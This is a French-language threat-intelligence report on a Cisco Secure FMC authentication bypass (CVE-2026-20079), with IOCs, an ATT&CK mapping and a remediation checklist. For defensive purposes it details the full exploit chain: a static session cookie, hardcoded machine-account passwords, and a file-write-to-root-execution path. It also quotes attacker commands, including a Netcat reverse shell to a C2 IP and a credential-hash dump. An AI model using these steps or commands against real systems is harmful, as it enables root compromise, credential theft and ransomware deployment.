Threat Intelligence

CVE-2026-20079 : la session laissée ouverte au démarrage qui donne le root sur les consoles Cisco Secure FMC

Admin CyberAfrik 10 September 2026 22 lectures
CVE-2026-20079 : la session laissée ouverte au démarrage qui donne le root sur les consoles Cisco Secure FMC

Rapport CTI technique du 10 septembre 2026

Résumé exécutif

Cisco a confirmé le 9 septembre 2026 que CVE-2026-20079, un contournement d'authentification noté CVSS 10.0 dans Secure Firewall Management Center, est exploité en conditions réelles depuis au moins juillet. La faille vient d'une session applicative créée automatiquement au démarrage de l'appliance pour le compte machine csm_processes, avec un identifiant de session statique au lieu d'un UUID aléatoire. Un attaquant qui devine cette valeur (elle vaut littéralement csm_processes) obtient une session valide sans aucun identifiant, puis l'élève en session d'interface web grâce à un second compte machine dont le mot de passe est codé en dur dans le produit, et finit par écrire puis faire exécuter un script shell en tant que root. La console FMC pilote l'ensemble des pare-feux Firepower d'une organisation : sa compromission donne accès aux configurations, aux comptes de service et à une position réseau centrale.

CISA a ajouté la CVE au catalogue KEV le 9 septembre avec une échéance de remédiation fixée au 12 septembre pour les agences fédérales américaines. Cisco Talos suit trois groupes d'activité post-compromission distincts sur des FMC exploités : un cluster qui déploie webshell JSP et exécuteur de commandes JAR, un acteur étatique dont l'outillage recoupe celui de Sandworm et qui installe une variante de Cyclops Blink, et un opérateur de rançongiciel dont les TTP correspondent aux affiliés Qilin. Aucun contournement n'existe, seuls les correctifs publiés fin juillet coupent le vecteur, et ils ne nettoient pas un système déjà compromis.

Chronologie

DateÉvénement
4 mars 2026Cisco publie l'advisory initial pour CVE-2026-20079, sans preuve d'exploitation
19-26 mars 2026VulnCheck reproduit la chaîne complète jusqu'au shell root et publie son analyse
23 juillet 2026Horodatage de l'entrée de log package_info.pl /var/tmp/license.tmp --lsm citée par Cisco comme indicateur de compromission
29 juillet 2026Cisco divulgue CVE-2026-20316 (identifiants statiques, exploitée en zero-day) et publie des correctifs communs aux deux failles
Août 2026Le PSIRT Cisco prend connaissance de l'exploitation active de CVE-2026-20079
9 septembre 2026Talos publie son analyse des trois clusters post-compromission ; Cisco met à jour l'advisory ; CISA ajoute la CVE au KEV
Semaine du 14 septembre 2026Release de durcissement annoncée par Talos, regroupant ces correctifs et d'autres vulnérabilités découvertes en interne

Fiche vulnérabilité (format fiche CTI)

CVE-2026-20079 | CVSS 10.0 (critique) | Cisco Secure Firewall Management Center Software, Cisco Security Cloud Control Firewall Management

Description technique. Au démarrage de l'appliance, le binaire Go auth-daemon crée une session pour le compte machine csm_processes dans la table sfsnort.sessions, c'est-à-dire exactement la table où atterrissent les sessions d'interface web légitimes. Cette session a deux propriétés qui la rendent exploitable : son _SESSION_ID est la chaîne fixe csm_processes au lieu d'un UUID généré dynamiquement, et elle porte usertype => 2 (AUTH_IS_MACHINE). Poser un cookie CGISESSID=csm_processes suffit donc à passer la fonction SF::Auth::GetSession sans authentifier quoi que ce soit. Le compte machine n'ayant aucune permission, la plupart des CGI rejettent ensuite la requête sur CheckLogin, ce qui limite le gain immédiat à quelques pages de diagnostic. C'est la deuxième partie de la chaîne qui débloque le reste : login.cgi accepte de réutiliser une session existante lors d'une authentification, et les comptes machines du produit ont des mots de passe codés en dur dans repair_users.pl (report:snortrules, sftop10user:snortrules, SRU:snortrules, Sourcefire:snortrules). S'authentifier en report tout en présentant le cookie csm_processes fait réécrire la session existante avec usertype => 1 et surtout avec un sf_action_id, le jeton anti-CSRF exigé par les endpoints pjb.cgi et sajaxintf.cgi. Une fois ce jeton lu dans le HTML de /ui/user/general, la fonction validateLicense de sajaxintf.cgi fournit une écriture arbitraire vers /var/tmp/license.tmp (les octets non imprimables passent en échappement Unicode JSON, \u000A pour un saut de ligne), et la fonction SF::UI::DataObjectLibrary::upgradeReadinessCall exposée par pjb.cgi avec la permission all fait traiter ce fichier comme un paquet de mise à jour. Le contrôle de type opéré par SF::Update::GetUpdateFileType sur les 1024 premiers octets accepte le format MAKESELF, qui n'est qu'un script shell contenant la chaîne # This script was generated using Makeself. La chaîne d'installation aboutit à SF::System::Wrappers::RunCmd, qui préfixe la commande par /usr/bin/sudo et l'exécute via open3. CWE-287 (authentification incorrecte) pour la primitive d'entrée, CWE-798 (identifiants codés en dur) pour l'élévation de session, CWE-434 et CWE-78 pour la fin de chaîne.

Conditions d'exploitation. Aucune authentification, aucune interaction utilisateur, accès réseau à l'interface web HTTPS. Une contrainte réelle existe : la session de démarrage doit encore être présente en base. Elle est purgée par l'interaction d'utilisateurs authentifiés avec les dashboards et widgets, par les sessions de gestion cloud, et par les nettoyages périodiques déclenchés à l'authentification des comptes automatiques. En pratique la fenêtre est ouverte peu après un redémarrage, ou en permanence sur les FMC peu consultés, ce qui décrit correctement une bonne partie du parc réel. Censys recensait environ 300 instances FMC exposées sur Internet, FOFA entre 600 et 700.

PoC disponible : oui. VulnCheck a développé un exploit fonctionnel en Go et publié l'intégralité de la chaîne technique en mars 2026, requêtes HTTP brutes comprises. L'exploit binaire, les PCAP, une règle YARA et les signatures réseau restent réservés aux clients Initial Access Intelligence, mais le niveau de détail publié permet de reconstruire l'exploit sans difficulté particulière. Les correctifs ajoutent deux garde-fous : une directive Apache qui force l'en-tête X-Auth-User-Type: 1 sur toute requête non locale, et une vérification correspondante dans SF::Auth qui refuse une session dont le usertype ne correspond pas.

Patch/mitigation. Aucun contournement. Les branches concernées couvrent 6.4, 7.0, 7.1, 7.2, 7.3, 7.4, 7.6, 7.7 et 10.0 ; le mapping exact version installée vers version corrigée passe par le Cisco Software Checker. Les hotfixes publiés le 29 juillet 2026 traitent conjointement CVE-2026-20079 et CVE-2026-20316. Le service cloud Security Cloud Control a été corrigé par Cisco.

CVE-2026-20316 | CVSS 5.3 | Cisco Secure Firewall Management Center Software

Description technique. Compte à faibles privilèges disposant d'identifiants statiques, permettant une connexion distante. Pris isolément le score est modeste, mais Talos observe que l'accès obtenu sert de point de départ à l'abus de package_info.pl, donc à l'exécution root, exactement comme la fin de chaîne de CVE-2026-20079. CWE-798.

Conditions d'exploitation. Accès réseau à l'interface d'administration. Exploitée en zero-day avant le 29 juillet 2026.

PoC disponible : pas de PoC public autonome à la date de rédaction. Les traces d'exploitation sont documentées par Talos.

Patch/mitigation. Mêmes hotfixes que CVE-2026-20079.

Diagramme de la chaîne d'attaque

Vue infrastructure de la compromission d'un Cisco Secure FMC

Reconstruction à partir de l'analyse d'exploitation VulnCheck du 26 mars 2026 et du billet Cisco Talos du 9 septembre 2026.

Analyse technique

Étape 1 : une session machine qui ressemble à une session utilisateur

Le défaut de conception tient en une ligne : le processus de démarrage écrit une session dans la même table que les sessions humaines, avec un identifiant prévisible. La séparation entre comptes machines et comptes interface repose alors uniquement sur le champ usertype, contrôlé par le code Perl appelé par chaque CGI. Or tous les CGI n'appellent pas CheckLogin, certains se contentent de GetSession. Le correctif ne supprime d'ailleurs pas la session de démarrage : il ajoute une vérification côté serveur web qui marque toute requête distante comme provenant d'un utilisateur, ce qui rend incohérente l'utilisation d'une session de type machine depuis le réseau.

Étape 2 : l'élévation par un compte machine tiers

L'astuce la plus intéressante de la chaîne est le refus d'utiliser les identifiants du compte dont on a volé la session. S'authentifier en csm_processes:csmdaemon fait expirer et supprimer la session de démarrage, ce qui referme la porte. En revanche login.cgi accepte de rattacher n'importe quelle authentification à la session déjà présente dans le cookie. En envoyant username=report&password=snortrules avec CGISESSID=csm_processes, l'attaquant conserve l'identifiant de session connu et récupère les attributs manquants, dont sf_action_id. C'est une fixation de session classique, retournée contre le produit par un compte de service au mot de passe public.

Étape 3 : écriture arbitraire puis exécution par le mécanisme de mise à jour

validateLicense accepte un contenu arbitraire, le sérialise et l'écrit dans /var/tmp/license.tmp. Le chemin est fixe, ce qui suffit puisque la fonction d'installation accepte un chemin en paramètre. La validation de format ne vérifie pas de signature à ce stade : le type MAKESELF est reconnu sur la présence d'un commentaire textuel. L'appel upgradeReadinessCall passe ensuite par readinessInstall, GetUpdateFileInfo, Install, _aqInstallTask, SF::System::Privileged::InstallUpdate, puis RunCmd qui exécute sous sudo. Chaque maillon effectue des vérifications, aucune n'invalide un script shell arbitraire.

VulnCheck signale au passage un second sink non abouti : batchResults sur sajaxintf.cgi accepte une traversée de chemin vers ../license.tmp et aboutit à Storable::retrieve avec $Storable::Eval = 1, c'est-à-dire une désérialisation Perl non sûre (CWE-502). Aucun gadget STORABLE_thaw exploitable n'a été trouvé, mais le sink reste ouvert pour qui aurait la patience de chercher.

Étape 4 : post-exploitation, trois profils d'acteurs sur la même faille

UAT-12197 dépose un webshell JSP dans le webroot Tomcat CSM. Le webshell décode en Base64 le paramètre F6C1F0E7, définit dynamiquement une classe Java et l'instancie, technique de chargement de classe en mémoire qui évite d'écrire le code métier sur disque. Il sert ensuite à déposer cmd.jar, un simple exécuteur qui lance /bin/sh -c sur son premier argument, utilisé pour extraire les hachés d'authentification de la base interne :

/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\''

UAT-11823 réutilise précisément le mécanisme license.tmp de la chaîne d'exploitation, mais pour y placer un reverse shell Netcat :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f

Deux scripts bash collectent ensuite les configurations des équipements gérés et les mettent en archive pour exfiltration, puis un implant ELF modulaire est téléchargé depuis un des C2. Il s'agit d'une variante de Cyclops Blink, famille attribuée à Sandworm, avec persistance dans /etc/init.d/, résolution DNS over HTTPS, gestion de fichiers, collecte d'identifiants, exécution de commandes, scan réseau et capture de paquets filtrée.

UAT-11988 entre par les identifiants statiques (CVE-2026-20316) et joue la carte du living off the land : package_info.pl exécute un license.tmp de reconnaissance, qui collecte noms d'hôtes, mappings vers les contrôleurs de domaine, ADFS, serveurs Exchange, serveurs de fichiers et bases de données, comptes de service Active Directory et identifiants MySQL. Les données sont mises en attente dans des fichiers déjà accessibles sur le FMC puis exfiltrées par simples requêtes HTTP GET. Un proxy SOCKS5 en Python et un tunnel SSH inverse redirigent ensuite LDAP (389), LDAPS (636), Kerberos (88), SMB (445), NetBIOS (135) et WinRM (5985) depuis le réseau interne. Suivent impacket, Invoke-TheHash, des tueurs d'antivirus sur mesure, et le déploiement de Qilin.

Ce troisième cluster illustre pourquoi une console de gestion de pare-feux est une cible de choix : elle est légitimement autorisée à parler à tout le monde, elle héberge des identifiants de service, et elle est rarement instrumentée comme un serveur d'infrastructure classique.

Indicateurs de compromission

TypeValeur
SHA-256b037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d (home.jsp, webshell, UAT-12197)
SHA-256db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e (cmd.jar, exécuteur de commandes, UAT-12197)
SHA-2566f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461 (Cyclops Blink, UAT-11823)
IP89.34.96[.]56 (C2 reverse shell Netcat et C2 Cyclops Blink, UAT-11823)
IP208.123.119[.]215 (C2 reverse shell Netcat, UAT-11823)
IP91.214.78[.]118 (C2 reverse shell Netcat, UAT-11823)
IP104.218.165[.]253 (scanner de vulnérabilité CVE-2026-20079, UAT-11823)
IP43.204.2[.]142 (intrusions UAT-11988, Qilin)
Logsudo: www : PWD=/ ; USER=root ; COMMAND=/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm dans /var/log/messages
Fichier/var/tmp/license.tmp avec contenu de type script shell ou Makeself
Requête HTTPPOST /sajaxintf.cgi?rs=callServerFunc avec tableau JSON appelant validateLicense
Requête HTTPPOST /pjb.cgi avec function=SF::UI::DataObjectLibrary::upgradeReadinessCall
CookieCGISESSID=csm_processes sur toute requête entrante
Paramètre HTTPF6C1F0E7 (paramètre du webshell JSP)
Snort SID66075 à 66080 (CVE-2026-20079), 66883 (CVE-2026-20316), 66960 et 66961 (malware)

MITRE ATT&CK

Cartographie construite à partir des éléments techniques publiés par VulnCheck et Talos. Aucun des deux fournisseurs ne publie de matrice ATT&CK formelle pour ces clusters, c'est donc une lecture technique et non une attribution vendeur.

TactiqueTechniqueIDJustification
Initial AccessExploit Public-Facing ApplicationT1190Requêtes HTTP forgées vers l'interface web FMC exposée
Initial AccessValid Accounts: Default AccountsT1078.001Comptes machines report, SRU, Sourcefire à mots de passe codés en dur ; CVE-2026-20316
Defense EvasionUse Alternate Authentication Material: Web Session CookieT1550.004Cookie CGISESSID=csm_processes réutilisé sans authentification
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004Script Makeself exécuté par la chaîne d'installation sous sudo
PersistenceServer Software Component: Web ShellT1505.003home.jsp déposé dans le webroot Tomcat CSM
PersistenceBoot or Logon Initialization ScriptsT1037Scripts de persistance Cyclops Blink dans /etc/init.d/
Credential AccessCredentials from Password StoresT1555Extraction de name, auth_data de la base interne via OmniQuery
Credential AccessOS Credential DumpingT1003Collecte de comptes de service AD et MySQL par UAT-11988
DiscoveryRemote System DiscoveryT1018Cartographie DC, ADFS, Exchange, serveurs de fichiers et bases
Command and ControlProtocol TunnelingT1572Proxy SOCKS5 et tunnel SSH inverse pour LDAP, Kerberos, SMB, WinRM
Command and ControlApplication Layer Protocol: DNST1071.004Résolution DoH dans Cyclops Blink
CollectionArchive Collected DataT1560Configurations des équipements gérés mises en archive avant exfiltration
ExfiltrationExfiltration Over C2 ChannelT1041Récupération des fichiers de reconnaissance par requêtes HTTP GET
ImpactData Encrypted for ImpactT1486Déploiement de Qilin par UAT-11988

Remédiation : checklist opérationnelle

  1. Appliquer immédiatement les hotfixes Cisco du 29 juillet 2026 pour CVE-2026-20079 et CVE-2026-20316, en identifiant la version cible via le Cisco Software Checker. Aucun contournement n'est disponible.
  2. Considérer tout FMC exposé sur Internet et non corrigé depuis le 29 juillet comme potentiellement compromis, et lancer une recherche de compromission avant de se contenter du patch. Cisco indique explicitement que les correctifs bloquent l'exploitation future mais ne remédient pas un appareil déjà compromis.
  3. Rechercher dans /var/log/messages toute exécution de package_info.pl sur /var/tmp/license.tmp, sur toute la fenêtre remontant au moins à juillet 2026.
  4. Inspecter le webroot Tomcat CSM pour tout JSP ou JAR non légitime, en particulier home.jsp et cmd.jar, et comparer les fichiers avec une image de référence de la version installée.
  5. Rechercher les scripts de persistance dans /etc/init.d/ et les processus ELF inconnus, indicateurs de l'implant Cyclops Blink.
  6. Bloquer et rechercher rétroactivement dans les logs de flux les IP listées en section IOC, y compris 104.218.165[.]253 qui correspond à une activité de scan préalable.
  7. Retirer l'interface d'administration FMC de toute exposition Internet directe et la placer derrière un bastion ou un accès restreint par liste d'adresses. Environ 300 à 700 instances restent exposées selon Censys et FOFA.
  8. Activer les SID Snort 66075 à 66080, 66883, 66960 et 66961 sur les points de passage réseau qui voient le trafic vers la console.
  9. Sur un FMC suspect, considérer comme compromis tous les identifiants stockés ou traversant l'appliance : comptes de service Active Directory, comptes MySQL internes, hachés utilisateurs de sfsnort.users. Les faire tourner.
  10. Prévoir la release de durcissement Cisco annoncée pour la semaine du 14 septembre 2026 (le billet Talos mentionne aussi la semaine du 16, l'écart n'est pas résolu par la source) sans attendre celle-ci pour appliquer les hotfixes.
  11. Surveiller au niveau réseau les requêtes portant un cookie CGISESSID=csm_processes, signature triviale et fiable d'une tentative d'exploitation.

Sources

Tags : CVE-2026-20079CVE-2026-20316Cisco Secure FMCCISA KEVCyclops BlinkQilinCisco Taloscontournement d'authentification
Partager cet article